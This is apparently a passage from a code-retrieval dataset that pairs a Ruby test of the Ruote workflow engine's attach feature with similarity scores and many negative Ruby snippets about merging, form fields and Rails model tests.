"def direct_predicate\n @direct_predicate ||= begin\n field = case candidate\n when Sku then 'sku_id'\n when Product then 'product_id'\n when ProductCategory then 'product_category_id'\n end\n\n id = candidate.id.to_s\n\n proc do |p|\n cs = p.conditions.map {|c| c.config[field]}\n es = p.effects.map {|e| e.config[field]}\n (cs + es).compact.include?(id)\n end\n end\n end"
] |
[
"0.5499075",
"0.5340245",
"0.52810454",
"0.5190694",
"0.5190694",
"0.50843453",
"0.5066934",
"0.5062746",
"0.5062702",
"0.50044614",
"0.49611464",
"0.48996618",
"0.48730752",
"0.48683342",
"0.48524168",
"0.4849785",
"0.4842948",
"0.47967225",
"0.47967225",
"0.47897446",
"0.47829327",
"0.47549605",
"0.4730297",
"0.47044766",
"0.46835545",
"0.4681539",
"0.46741837",
"0.46692413",
"0.46577153",
"0.46275342",
"0.46068445",
"0.4595163",
"0.45933187",
"0.45867008",
"0.45858273",
"0.45842668",
"0.4576074",
"0.4563221",
"0.4554297",
"0.45488647",
"0.45457432",
"0.45276177",
"0.45236102",
"0.45235777",
"0.45208603",
"0.4520186",
"0.4515881",
"0.45113984",
"0.4509735",
"0.45087287",
"0.4487923",
"0.4472228",
"0.4442764",
"0.4439287",
"0.4423025",
"0.44145632",
"0.44061583",
"0.43949315",
"0.43848723",
"0.43842688",
"0.43810546",
"0.43791872",
"0.43766642",
"0.43766096",
"0.43667984",
"0.43649068",
"0.4362081",
"0.43467435",
"0.43450385",
"0.43381625",
"0.43375155",
"0.43375155",
"0.43259346",
"0.43254912",
"0.43201444",
"0.4318801",
"0.43148857",
"0.42997754",
"0.42937875",
"0.42726296",
"0.42722657",
"0.42713383",
"0.42705643",
"0.4268575",
"0.42683035",
"0.4266156",
"0.42606023",
"0.42601302",
"0.4258767",
"0.42576063",
"0.42454037",
"0.4231709",
"0.4230504",
"0.4230236",
"0.42265332",
"0.42209455",
"0.42158952",
"0.42065752",
"0.42022827",
"0.42013168"
] |
0.6679118
|
0
|
Well, let's not test those 3 lines of code. def test_attach_merge_fields_option end
|
def test_attach_with_fe
@dashboard.register '.+', Ruote::StorageParticipant
pdef = Ruote.define do
set 'v:message' => 'hello world'
bravo
end
wfid = @dashboard.launch(pdef, 'message' => 'hello planet')
r = @dashboard.wait_for('dispatched')
adef = Ruote.define do
echo '${v:message}'
echo '${f:message}'
end
fe = @dashboard.ps(wfid).expressions.last
fei = @dashboard.attach(fe.to_h, adef)
r = @dashboard.wait_for('ceased')
ps = @dashboard.ps(wfid)
assert_equal '0_1_0', fei.expid
assert_equal wfid, fei.wfid
assert_equal "hello world\nhello planet", @tracer.to_s
assert_equal 0, ps.errors.size
assert_equal 2, ps.expressions.size
assert_equal 1, ps.stored_workitems.size
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_merge\n # Rule is non-admins can only merge herbaria in which they own all records\n # into their own personal herbarium. Nothing else. Mary owns all the\n # records at fundis, randomly enough, so if we create a personal\n # herbarium for her, she should be able to merge fundis into it.\n assert_true(fundis.owns_all_records?(mary))\n src = fundis\n dest = mary.create_personal_herbarium\n # dest_old_name = dest.name\n login(\"mary\")\n\n assert_no_changes(\n \"dest.name\", \"Destination Herbarium should retain its name\"\n ) do\n post(:create, params: { src: src.id, dest: dest.id })\n end\n assert_flash_success\n assert_redirected_to(herbarium_path(dest))\n assert_equal(\n dest.personal_user_id, mary.id,\n \"Destination Herbarium should remain Mary's personal Herbarium\"\n )\n end",
"def test_save_lab_annotation_dependent\n date = DateTime.new(2010, 10, 10)\n lab = CaTissue::Participant::Clinical::LabAnnotation.new\n lab.merge_attributes(:other_lab_test_name => 'Test Lab', :test_date => date, :participant => @pnt)\n verify_save(@pnt)\n assert_not_nil(lab.identifier, \"Lab not saved\")\n end",
"def test_save_lab_annotation\n date = DateTime.new(2010, 10, 10)\n lab = CaTissue::Participant::Clinical::LabAnnotation.new\n lab.merge_attributes(:other_lab_test_name => 'Test Lab', :test_date => date, :participant => @pnt, :result => '4', :result_units => 'mg')\n verify_save(lab)\n assert_not_nil(lab.identifier, \"Lab not saved\")\n end",
"def test_save_diagnosis_annotation\n date = DateTime.new(2010, 10, 10)\n ndgn = CaTissue::Participant::Clinical::NewDiagnosisHealthAnnotation.new\n ndgn.merge_attributes(:name_of_procedure => 'Biopsy of prostate', :date_of_examination => date, :participant => @pnt)\n verify_save(ndgn)\n date = DateTime.new(2010, 12, 10)\n hdgn = CaTissue::Participant::Clinical::HealthExaminationAnnotation.new\n hdgn.merge_attributes(:other_procedure => 'Post-biopsy exam', :date_of_examination => date, :participant => @pnt)\n verify_save(hdgn)\n end",
"def merge_conflict?; end",
"def test_listchunk_attributes\n\t\t\n\tend",
"def testDiffCleanupMerge\n # Cleanup a messy diff.\n # Null case.\n diffs = []\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([], diffs)\n\n # No change case.\n diffs = [Diff.new(DIFF_EQUAL, \"a\"), Diff.new(DIFF_DELETE, \"b\"), Diff.new(DIFF_INSERT, \"c\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_EQUAL, \"a\"), Diff.new(DIFF_DELETE, \"b\"), Diff.new(DIFF_INSERT, \"c\")], diffs)\n\n # Merge equalities.\n diffs = [Diff.new(DIFF_EQUAL, \"a\"), Diff.new(DIFF_EQUAL, \"b\"), Diff.new(DIFF_EQUAL, \"c\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_EQUAL, \"abc\")], diffs)\n\n # Merge deletions.\n diffs = [Diff.new(DIFF_DELETE, \"a\"), Diff.new(DIFF_DELETE, \"b\"), Diff.new(DIFF_DELETE, \"c\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_DELETE, \"abc\")], diffs)\n\n # Merge insertions.\n diffs = [Diff.new(DIFF_INSERT, \"a\"), Diff.new(DIFF_INSERT, \"b\"), Diff.new(DIFF_INSERT, \"c\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_INSERT, \"abc\")], diffs)\n\n # Merge interweave.\n diffs = [Diff.new(DIFF_DELETE, \"a\"), Diff.new(DIFF_INSERT, \"b\"), Diff.new(DIFF_DELETE, \"c\"), Diff.new(DIFF_INSERT, \"d\"), Diff.new(DIFF_EQUAL, \"e\"), Diff.new(DIFF_EQUAL, \"f\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_DELETE, \"ac\"), Diff.new(DIFF_INSERT, \"bd\"), Diff.new(DIFF_EQUAL, \"ef\")], diffs)\n\n # Prefix and suffix detection.\n diffs = [Diff.new(DIFF_DELETE, \"a\"), Diff.new(DIFF_INSERT, \"abc\"), Diff.new(DIFF_DELETE, \"dc\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_EQUAL, \"a\"), Diff.new(DIFF_DELETE, \"d\"), Diff.new(DIFF_INSERT, \"b\"), Diff.new(DIFF_EQUAL, \"c\")], diffs)\n\n # Prefix and suffix detection with equalities.\n diffs = [Diff.new(DIFF_EQUAL, \"x\"), Diff.new(DIFF_DELETE, \"a\"), Diff.new(DIFF_INSERT, \"abc\"), Diff.new(DIFF_DELETE, \"dc\"), Diff.new(DIFF_EQUAL, \"y\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_EQUAL, \"xa\"), Diff.new(DIFF_DELETE, \"d\"), Diff.new(DIFF_INSERT, \"b\"), Diff.new(DIFF_EQUAL, \"cy\")], diffs)\n\n # Slide edit left.\n diffs = [Diff.new(DIFF_EQUAL, \"a\"), Diff.new(DIFF_INSERT, \"ba\"), Diff.new(DIFF_EQUAL, \"c\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_INSERT, \"ab\"), Diff.new(DIFF_EQUAL, \"ac\")], diffs)\n\n # Slide edit right.\n diffs = [Diff.new(DIFF_EQUAL, \"c\"), Diff.new(DIFF_INSERT, \"ab\"), Diff.new(DIFF_EQUAL, \"a\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_EQUAL, \"ca\"), Diff.new(DIFF_INSERT, \"ba\")], diffs)\n\n # Slide edit left recursive.\n diffs = [Diff.new(DIFF_EQUAL, \"a\"), Diff.new(DIFF_DELETE, \"b\"), Diff.new(DIFF_EQUAL, \"c\"), Diff.new(DIFF_DELETE, \"ac\"), Diff.new(DIFF_EQUAL, \"x\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_DELETE, \"abc\"), Diff.new(DIFF_EQUAL, \"acx\")], diffs)\n\n # Slide edit right recursive.\n diffs = [Diff.new(DIFF_EQUAL, \"x\"), Diff.new(DIFF_DELETE, \"ca\"), Diff.new(DIFF_EQUAL, \"c\"), Diff.new(DIFF_DELETE, \"b\"), Diff.new(DIFF_EQUAL, \"a\")]\n @dmp.diff_cleanupMerge(diffs)\n assert_equal([Diff.new(DIFF_EQUAL, \"xca\"), Diff.new(DIFF_DELETE, \"cba\")], diffs)\n end",
"def test_log_entry_operation_field_partial_from_record\n verify_subfields_partial_from_record(DEFAULT_OPERATION_KEY)\n end",
"def prep_merge_fields(merge_fields)\n # Upper-case all the keys as this is how MC expect them.\n merge_fields.map { |k, v| [k.upcase, v] }.to_h\n end",
"def test_attach_file\n# post :upload, \"note\"=>{\"title\"=>\"my note\"}, \"courseid\"=>\"806350272748085520\",\n# \"processor\"=>{\"id\"=>\"1000001\"}, \"success\"=>\"/course/806350272748085520/ACMA-320/share_notes\", \n# \"upload_id\"=>\"1169944954\", \n# \"failure\"=>\"/course/806350272748085520/ACMA-320/share_notes\"\n \n post :upload, \"noteid\"=>\"816717565610925385\", \"processor\"=>{\"id\"=>\"1000001\"}\n \n end",
"def merge; end",
"def merge!; end",
"def perform_additional_merge_operations!(other)\n end",
"def upload_helper\n upload_interaction = Interaction.find(params[:interaction_id]).resource\n extra_fields = JSON.parse(get_extra_fields!(upload_interaction.interaction.call_to_action)['form_extra_fields'])['fields'] rescue nil;\n calltoaction = CallToAction.find(params[:cta_id])\n\n params_obj = JSON.parse(params[\"obj\"])\n params_obj[\"releasing\"] = params[\"releasing\"]\n params_obj[\"upload\"] = params[\"attachment\"]\n\n extra_fields_valid, extra_field_errors, cloned_cta_extra_fields = validate_upload_extra_fields(params_obj, extra_fields)\n\n if !extra_fields_valid\n response = { \"errors\" => extra_field_errors.join(\", \") }\n else\n cloned_cta = create_user_calltoactions(upload_interaction, params_obj)\n if cloned_cta.errors.any?\n response = { \"errors\" => cloned_cta.errors.full_messages.join(\", \") }\n else\n get_extra_fields!(cloned_cta).merge!(cloned_cta_extra_fields)\n cloned_cta.save\n end\n end\n\n respond_to do |format|\n format.json { render json: response.to_json }\n end \n end",
"def test_fail_on_pk_overlap_with_header\n end",
"def test_should_require_one_asset_if_true_and_size_many_with_attributes\n AssetRelation.destroy_all\n item = AssetType.new\n item.multiple.options[:required] = true\n\n begin\n item.update_attributes :multiple_attributes => [two_asset_relation_attributes.first]\n assert item.valid?\n ensure\n # cleanup\n item.multiple.options[:required] = false\n end\n end",
"def test_associations\n\t\tassert check_associations(DocImage)\n\tend",
"def test_post_composition_requiring_multipart_with_arrays_warns_the_noble_developer_and_everyone_stays_happy\n assert_raise(Mosquito::SageAdvice) do\n @req.post_params = {:hello => \"welcome\", :name => \"john\", :arrayed => [1, 2, 3], :somefile => MockUpload.new(\"pic.jpg\") }\n end\n \n assert_nothing_raised do\n @req.post_params = {:hello => \"welcome\", :name => \"john\", :arrayed => [1, 2, 3], :not_a_file => \"shtaink\" }\n end\n end",
"def orm_patches_applied; end",
"def test_scenario1\n data = [{\"filename\" => File.dirname(__FILE__)+\"/data/iris.csv\",\n \"params\" => {\"tags\" => [\"my tag\", \"my second tag\"], \n \"project\" => @project[\"resource\"]}},\n {\"filename\" => \"./data/iris.csv\",\n \"params\" => {\"name\" => \"Testing unicode names: áé\",\n \"project\" => @project[\"resource\"]}}]\n\n puts\n puts \"Scenario: Uploading source with structured args\" \n\n data.each do |item|\n puts\n puts \"Given I create a data source uploading a \" + item[\"filename\"] + \" file\"\n source = @api.create_source(item[\"filename\"], item[\"params\"].clone)\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"Then the source exists and has args #{JSON.generate(item['params'])}\"\n \n item['params'].each do |param, value|\n assert_equal(source[\"object\"][param], value)\n end\n\n end\n\n end",
"def test_optional_fields\n fields = ['resource_code', 'resource_date', 'physical_description', 'publication_year','isbn','ismn','isrc']\n fields = fields + ['imprint', 'collation', 'general_note', 'internal_note', 'contents_note', 'copyright', 'duration']\n\n \n for field in fields\n @resource.send(field << '=' , nil)\n assert @resource.save\n end\n end",
"def postEntityMerge( from, to, override_trust, uncontribute_masheryid, uncontribute_userid, uncontribute_supplierid, delete_mode)\n params = Hash.new\n params['from'] = from\n params['to'] = to\n params['override_trust'] = override_trust\n params['uncontribute_masheryid'] = uncontribute_masheryid\n params['uncontribute_userid'] = uncontribute_userid\n params['uncontribute_supplierid'] = uncontribute_supplierid\n params['delete_mode'] = delete_mode\n return doCurl(\"post\",\"/entity/merge\",params)\n end",
"def test_merge\n \tassert_equal(UI.parseCommand('merge', MergeCmd1*\" \"),UI.main(MergeCmd1))\n \tassert_equal(UI.parseCommand('merge', MergeCmdInv*\" \"),UI.main(MergeCmdInv))\n end",
"def test_save_treatment_annotation\n trt = CaTissue::Participant::Clinical::TreatmentAnnotation.new\n trt.merge_attributes(:agent => 'ACACIA', :participant => @pnt)\n dur = CaTissue::Participant::Clinical::Duration.new\n dur.merge_attributes(:start_date => DateTime.new(2010, 10, 10), :end_date => DateTime.new(2010, 12, 10), :treatment => trt)\n verify_save(trt)\n assert_not_nil(trt.identifier, \"Treatment not saved\")\n assert_not_nil(dur.identifier, \"Treatment duration not saved\")\n end",
"def test_null_serialized_attributes_column_on_already_exists_records\n # => to test this, we create a model (ModelBefore) that has no attributes (but has an attributes column)\n # => then we create second model (ModelAfter) which we force to use the same table as ModelBefore (set_table_name)\n # => We create an object using ModelBefore and then try to load it using ModelAfter.\n model_before = ModelBefore.create\n model_after = ModelAfter.find(model_before.id)\n \n assert_equal model_after.custom_field, 'default value'\n end",
"def merge(opts); end",
"def merge_to_project(options = {})\n $merge = true \n @opt = {\n :proj_id => nil, \n :person_id => nil,\n :postfix_otu_names => false,\n :postfix_chr_names => false\n }.merge!(options.symbolize_keys)\n\n return false if !@opt[:proj_id] || !@opt[:person_id]\n return false if !@proj = Proj.find(@opt[:proj_id])\n return false if !@person = Person.find(@opt[:person_id])\n\n $proj_id = @proj.id \n $person_id = @person.id\n\n begin\n Proj.transaction do \n # try and do a little matching/transfer in a few cases (could also extend to Keywords)\n self.content_types.each do |o|\n if ct = ContentType.find(:first, :conditions => {:proj_id => @proj.id, :name => o.name})\n # update the templates \n self.content_templates_content_types.each do |ctct|\n if ctct.content_type.name == ct.name\n ctct.content_type = ct\n ctct.save\n end\n end\n \n # update the content\n self.contents.each do |c|\n if c.content_type.name == ct.name\n c.content_type = ct\n c.save\n end\n end \n\n # update the mapped_chr_groups\n self.chr_groups.each do |cg|\n if !cg.content_type.blank? && cg.content_type.name == ct.name\n cg.content_type = ct\n cg.save\n end\n end \n # we have to only delete the merged object below\n end\n end\n\n self.genes.each do |g|\n if g = Gene.find(:first, :conditions => {:proj_id => @proj.id, :name => g.name})\n self.primers.each do |p|\n p.gene = g\n p.save\n end\n self.seqs.each do |s|\n s.gene = g\n s.save\n end\n end\n end\n\n # loop the remaining types\n [:has_many, :has_one, :has_and_belongs_to_many].each do |rel|\n Proj.reflect_on_all_associations(rel).collect{|o| o.name}.each do |r| # r is the class name \n next if r == :text_content_types\n case r\n when :content_types \n self.send(r).each do |o|\n if @ct = ContentType.find(:first, :conditions => {:proj_id => @proj.id, :name => o.name})\n o.destroy \n else\n o.proj_id = @opt[:proj_id]\n o.save\n end \n end \n \n when :genes\n self.send(r).each do |o|\n if @g = Gene.find(:first, :conditions => {:proj_id => @proj.id, :name => o.name})\n o.destroy \n else\n o.proj_id = @opt[:proj_id]\n o.save\n end \n end \n \n when :people\n # do nothing, these remain in the project to be deleted later, otherwise they get touched an pwds get borked\n\n else \n t = self.send(r).each do |o|\n @o = o\n @r = r\n o.name = \"#{o.name} [from: #{o.proj_id}]\" if (@opt[:postfix_otu_names] && o.class == Otu) || (@opt[:postfix_chr_names] && o.class == Chr)\n o.proj_id = @opt[:proj_id]\n o.save\n end\n end\n end\n end # end rel types\n end # end transaction\n\n rescue Exception => e\n $merge = false\n raise \"#{e} o:(#{@o.to_yaml}) o_class: #{@o.class.to_s} r:(#{@r}) p:(#{@proj.id})\"\n end\n $merge = false\n true\n end",
"def add_fields(fields)\n\t\tend",
"def attach; end",
"def test_monkey_multi_enhanced_mip_setting_tags\n # Setup\n image1 = upload_and_link_image('int_xxid', @int_xxid, @user.oauth_token)\n image2 = upload_and_link_image('int_xxid', @int_xxid, @user.oauth_token)\n tags1 = {\n 'cover' => true,\n 'profile' => true,\n 'logo' => true,\n 'stock' => true\n }\n tags2 = {\n 'cover' => true,\n 'profile' => [true, false].sample,\n 'logo' => false,\n 'stock' => true\n }\n\n # Step 1\n params = {\n 'api_key' => @api_key,\n 'tags' => tags1\n }\n\n post \"/b_image/#{image1}/int_xxid/#{@int_xxid}\", params\n assert_response(@response, :success)\n\n get_images_from_int_xxids(@int_xxid)\n assert_response(@response, :success)\n assert_equal(2, @parsed_response['relations'].length, @parsed_response)\n\n image1_data = @parsed_response['relations'].find { |rel| rel['id'] == image1 }\n refute_nil(image1_data, \"Expected image1 to be returned /b_image/int_xxid/#{@int_xxid}\")\n image2_data = @parsed_response['relations'].find { |rel| rel['id'] == image2 }\n refute_nil(image2_data, \"Expected image1 to be returned /b_image/int_xxid/#{@int_xxid}\")\n\n tags1.each_key { |k|\n assert_includes(image1_data['tags'], k)\n refute_includes(image2_data['tags'], k)\n }\n\n # Step 2\n params = {\n 'api_key' => @api_key,\n 'tags' => tags2\n }\n\n post \"/b_image/#{image2}/int_xxid/#{@int_xxid}\", params\n assert_response(@response, :success)\n\n get_images_from_int_xxids(@int_xxid)\n assert_response(@response, :success)\n assert_equal(2, @parsed_response['relations'].length, @parsed_response)\n\n image1_data = @parsed_response['relations'].find { |rel| rel['id'] == image1 }\n refute_nil(image1_data, \"Expected image1 to be returned /b_image/int_xxid/#{@int_xxid}\")\n image2_data = @parsed_response['relations'].find { |rel| rel['id'] == image2 }\n refute_nil(image2_data, \"Expected image1 to be returned /b_image/int_xxid/#{@int_xxid}\")\n\n tags2.each do |k, v|\n if v\n if k == 'stock'\n assert_includes(image2_data['tags'], k)\n assert_includes(image1_data['tags'], k)\n else\n assert_includes(image2_data['tags'], k)\n refute_includes(image1_data['tags'], k)\n end\n else\n refute_includes(image2_data['tags'], k)\n assert_includes(image1_data['tags'], k)\n end\n end\n end",
"def test_update_document_fields\n local_file_name = 'test_multi_pages.docx'\n remote_file_name = 'TestUpdateDocumentFields.docx'\n\n upload_file File.join(local_test_folder, 'Common/' + local_file_name), remote_data_folder + '/' + remote_file_name\n\n request = UpdateFieldsRequest.new(name: remote_file_name, folder: remote_data_folder)\n\n result = @words_api.update_fields(request)\n assert_equal false, result.nil?\n end",
"def testDontShareLocalMetadata\n execute_Deliver_WithConf({\n :WaveFiles => {\n :FilesList => [\n { :Name => 'Wave1.wav' },\n { :Name => 'Wave2.wav' }\n ] },\n :Mix => {\n 'Mix1' => { :Tracks => { 'Wave1.wav' => {} } },\n 'Mix2' => { :Tracks => { 'Wave2.wav' => {} } }\n },\n :Deliver => {\n :Metadata => {\n :MDParam1 => 'MDValue1',\n :MDParam2 => 'MDValue2'\n },\n :Formats => {\n 'Test' => {\n :FileFormat => 'Test'\n }\n },\n :Deliverables => {\n 'Deliverable1' => {\n :Mix => 'Mix1',\n :Format => 'Test',\n :Metadata => {\n :MDParam2 => 'MDValue2.1',\n :MDParam3 => 'MDValue3.1'\n }\n },\n 'Deliverable2' => {\n :Mix => 'Mix2',\n :Format => 'Test',\n :Metadata => {\n :MDParam2 => 'MDValue2.2',\n :MDParam3 => 'MDValue3.2'\n }\n }\n }\n }\n },\n :PrepareFiles => getPreparedFiles(:Mixed_Wave1, :Mixed_Wave2)\n ) do |iStdOUTLog, iStdERRLog, iExitStatus|\n assert_exitstatus 0, iExitStatus\n assert_rb_content({\n :SrcFileName => 'Wave1.wav',\n :DstFileName => '06_Deliver/Deliverable1/Track.test.rb',\n :FormatConf => {},\n :Metadata => {\n :FileName => 'Track',\n :MDParam1 => 'MDValue1',\n :MDParam2 => 'MDValue2.1',\n :MDParam3 => 'MDValue3.1'\n }\n }, '06_Deliver/Deliverable1/Track.test.rb')\n assert_rb_content({\n :SrcFileName => 'Wave2.wav',\n :DstFileName => '06_Deliver/Deliverable2/Track.test.rb',\n :FormatConf => {},\n :Metadata => {\n :FileName => 'Track',\n :MDParam1 => 'MDValue1',\n :MDParam2 => 'MDValue2.2',\n :MDParam3 => 'MDValue3.2'\n }\n }, '06_Deliver/Deliverable2/Track.test.rb')\n end\n end",
"def perform_merge\n src_notes = @src.all_notes\n dest_notes = @dest.all_notes\n result = false\n\n # Mergeable if there are no fields which are non-blank in\n # both descriptions.\n if @src.class.all_note_fields.none? \\\n { |f| src_notes[f].present? && dest_notes[f].present? }\n result = true\n\n # Copy over all non-blank descriptive fields.\n src_notes.each do |f, val|\n @dest.send(\"#{f}=\", val) if val.present?\n end\n\n # Save changes to destination.\n @dest.save\n\n # Copy over authors and editors.\n @src.authors.each { |user| @dest.add_author(user) }\n @src.editors.each { |user| @dest.add_editor(user) }\n\n # Delete old description if requested.\n delete_src_description_and_update_parent if @delete_after\n end\n\n result\n end",
"def test_insert_form_field\n remote_file_name = 'TestInsertFormField.docx'\n\n upload_file File.join(local_test_folder, 'Common/test_multi_pages.docx'), remote_data_folder + '/' + remote_file_name\n\n request_form_field = FormFieldTextInput.new({:Name => 'FullName', :Enabled => true, :CalculateOnExit => true, :StatusText => '', :TextInputType => 'Regular', :TextInputDefault => '123', :TextInputFormat => 'UPPERCASE'})\n request = InsertFormFieldRequest.new(name: remote_file_name, form_field: request_form_field, node_path: 'sections/0/paragraphs/0', folder: remote_data_folder, dest_file_name: remote_test_out + '/' + remote_file_name)\n\n result = @words_api.insert_form_field(request)\n assert_equal false, result.nil?\n end",
"def test_ut_diff_source_code_02\n assert_equal(1,@diff_source_code_1.diff_result_id)\n assert_equal(1,@diff_source_code_1.original_file_id)\n assert_equal(1,@diff_source_code_1.diff_file_id)\n assert_equal(nil,@diff_source_code_1.added_lines)\n assert_equal(\"7;8;9;25;390;396;397;400;404\",@diff_source_code_1.deleted_lines)\n assert_equal(\"1,1;2,2;3,3;4,4;6,6;10,10;11,11;12,12;13,13;14,14;15,15;\",@diff_source_code_1.common_lines)\n end",
"def test_creation_of(options)\n\t\traise NotTheRightOptions.new('Options must include a record, a fixture, and an array of attributes') if (options.keys | [:record, :fixture, :attributes]).size > options.size\n\t\tassert_kind_of options[:model], options[:record] if options[:model]\n\t\tfor attr in options[:attributes]\n\t\t\tassert_equal options[:record][attr], options[:fixture].send(attr), \"Error matching #{attr}\"\n\t\tend\n\tend",
"def test_log_entry_http_request_field_partial_from_record\n verify_subfields_partial_from_record(DEFAULT_HTTP_REQUEST_KEY)\n end",
"def merge_debug\n deep_merge_options[:merge_debug]\n end",
"def default_fields_for_forms\n [\n { name: :get_verbose_conflicting_row, width: 50,\n label: I18n.t('admin_import.conflicting_row')\n },\n { name: :import_text, flex: 1, label: I18n.t('admin_import.import_text') },\n\n { name: :data_import_meeting_program__get_short_name, width: 210,\n label: I18n.t('activerecord.models.data_import_meeting_program')\n },\n { name: :meeting_program__get_short_name, width: 110,\n label: I18n.t('activerecord.models.meeting_program')\n },\n { name: :data_import_team__name, width: 110, label: I18n.t('activerecord.models.data_import_team') },\n { name: :team__name, width: 110, label: I18n.t('activerecord.models.team') },\n\n { name: :rank, width: 30,\n label: I18n.t('activerecord.attributes.meeting_relay_result.rank')\n },\n { name: :is_play_off, width: 50, default_value: true, unchecked_value: 'false',\n label: I18n.t('activerecord.attributes.meeting_relay_result.is_play_off')\n },\n { name: :is_out_of_race, width: 50, default_value: false, unchecked_value: 'false',\n label: I18n.t('activerecord.attributes.meeting_relay_result.is_out_of_race')\n },\n { name: :is_disqualified, width: 50, default_value: false, unchecked_value: 'false',\n label: I18n.t('activerecord.attributes.meeting_relay_result.is_disqualified')\n },\n { name: :disqualification_code_type__i18n_short, width: 50,\n label: I18n.t('activerecord.models.result_type')\n },\n { name: :standard_points, width: 50,\n label: I18n.t('activerecord.attributes.meeting_relay_result.standard_points')\n },\n { name: :meeting_points, width: 50,\n label: I18n.t('activerecord.attributes.meeting_relay_result.meeting_points')\n },\n { name: :minutes, width: 30, label: I18n.t('activerecord.attributes.meeting_relay_result.minutes') },\n { name: :seconds, width: 30, label: I18n.t('activerecord.attributes.meeting_relay_result.seconds') },\n { name: :hundreds, width: 30, label: I18n.t('activerecord.attributes.meeting_relay_result.hundreds') }\n ]\n end",
"def perform_merge(src, dest, delete_after)\n src_notes = src.all_notes\n dest_notes = dest.all_notes\n result = false\n\n # Mergeable if there are no fields which are non-blank in both descriptions.\n if src.class.all_note_fields.none? \\\n {|f| !src_notes[f].blank? and !dest_notes[f].blank?}\n result = true\n\n # Copy over all non-blank descriptive fields.\n xargs = {}\n for f, val in src_notes\n if !val.blank?\n dest.send(\"#{f}=\", val)\n xargs[:\"set_#{f}\"] = val\n end\n end\n\n # Store where merge came from in new version of destination.\n dest.merge_source_id = src.versions.latest.id rescue nil\n xargs[:set_merge_source] = src\n\n # Save changes to destination.\n dest.save\n Transaction.send(\"put_#{dest.type_tag}\", xargs)\n\n # Copy over authors and editors.\n src.authors.each {|user| dest.add_author(user)}\n src.editors.each {|user| dest.add_editor(user)}\n\n # Delete old description if requested.\n if delete_after\n if !src.is_admin?(@user)\n flash_warning(:runtime_description_merge_delete_denied.t)\n else\n src_was_default = (src.parent.description_id == src.id)\n Transaction.send(\"delete_#{src.type_tag}\", :id => src)\n flash_notice(:runtime_description_merge_deleted.\n t(:old => src.unique_partial_format_name))\n src.destroy\n\n # Make destination the default if source used to be the default.\n if src_was_default && dest.public\n dest.parent.description = dest\n dest.parent.save\n end\n end\n end\n\n end\n return result\n end",
"def test_ut_t2_ars_ard_007\n ars_detail = AnalyzeRuleConfigDetail.find(:first)\n new_ars_detail = AnalyzeRuleConfigDetail.create()\n new_ars_detail.copy(ars_detail)\n #new_ars_detail.save\n assert_equal ars_detail.analyze_tool_id ,new_ars_detail.analyze_tool_id\n assert_equal ars_detail.rule_level, new_ars_detail.rule_level\n assert_equal ars_detail.rule_numbers, new_ars_detail.rule_numbers\n end",
"def test_extract_files_and_options\n files, options = public_extract_files_and_options('some')\n assert_equal(['some'], files)\n assert_equal({}, options)\n \n files, options = public_extract_files_and_options('some', 'other')\n assert_equal(['some', 'other'], files)\n assert_equal({}, options)\n \n \n files, options = public_extract_files_and_options('some', 'other', :key => :value)\n assert_equal(['some', 'other'], files)\n assert_equal({:key => :value}, options)\n \n files, options = public_extract_files_and_options('some', 'other', {})\n assert_equal(['some', 'other'], files)\n assert_equal({}, options)\n end",
"def verify_options_hook; end",
"def extra_merge_vars\n merge_vars = {}\n if FfcrmMailchimp.config.track_address\n address_type = FfcrmMailchimp.config.address_type\n address = @record.addresses.where(address_type: address_type).first\n if address.present?\n merge_vars.merge!( 'STREET1' => address.street1, 'STREET2' => address.street2,\n 'CITY' => address.city, 'STATE' => address.state, 'ZIPCODE' => address.zipcode,\n 'COUNTRY' => Hash[ActionView::Helpers::FormOptionsHelper::COUNTRIES].invert[address.country] )\n end\n end\n if FfcrmMailchimp.config.track_phone\n merge_vars['PHONE'] = @record.phone\n end\n if FfcrmMailchimp.config.track_consent\n consent_field_name = FfcrmMailchimp.config.consent_field_name\n if @record.attributes.keys.include?(consent_field_name)\n value = @record.send(consent_field_name)\n # handle FFCRM default 'do_not_call' which is the reverse of 'consent'\n if (consent_field_name == 'do_not_call')\n value = (value ? 'No' : 'Yes')\n else\n value = (value.downcase == 'yes' || value == true) ? 'Yes' : 'No'\n end\n merge_vars['CONSENT'] = value # should be 'Yes' or 'No'\n end\n end\n merge_vars\n end",
"def deep_merge_options\n {\n :preserve_unmergeables => self[:preserve_unmergeables],\n :knockout_prefix => self[:knockout_prefix],\n :overwrite_arrays => self[:overwrite_arrays],\n :sort_merged_arrays => self[:sort_merged_arrays],\n :unpack_arrays => self[:unpack_arrays],\n :merge_hash_arrays => self[:merge_hash_arrays],\n :extend_existing_arrays => self[:extend_existing_arrays],\n :merge_debug => self[:merge_debug],\n }\n end",
"def test_should_require_all_n_assets_if_true_using_attributes\n AssetRelation.destroy_all\n item = AssetType.new\n item.sized.options[:required] = true\n\n begin\n item.update_attributes :sized_attributes => two_asset_relation_attributes\n assert item.valid?\n ensure\n # cleanup\n item.sized.options[:required] = false\n end\n end",
"def test_add_option04c\n assert_nothing_raised {\n ArgumentManager.add_option(\n [ 'u' ],\n :type => :string,\n :mandatory => true,\n :df_str => 'foo'\n )\n }\n end",
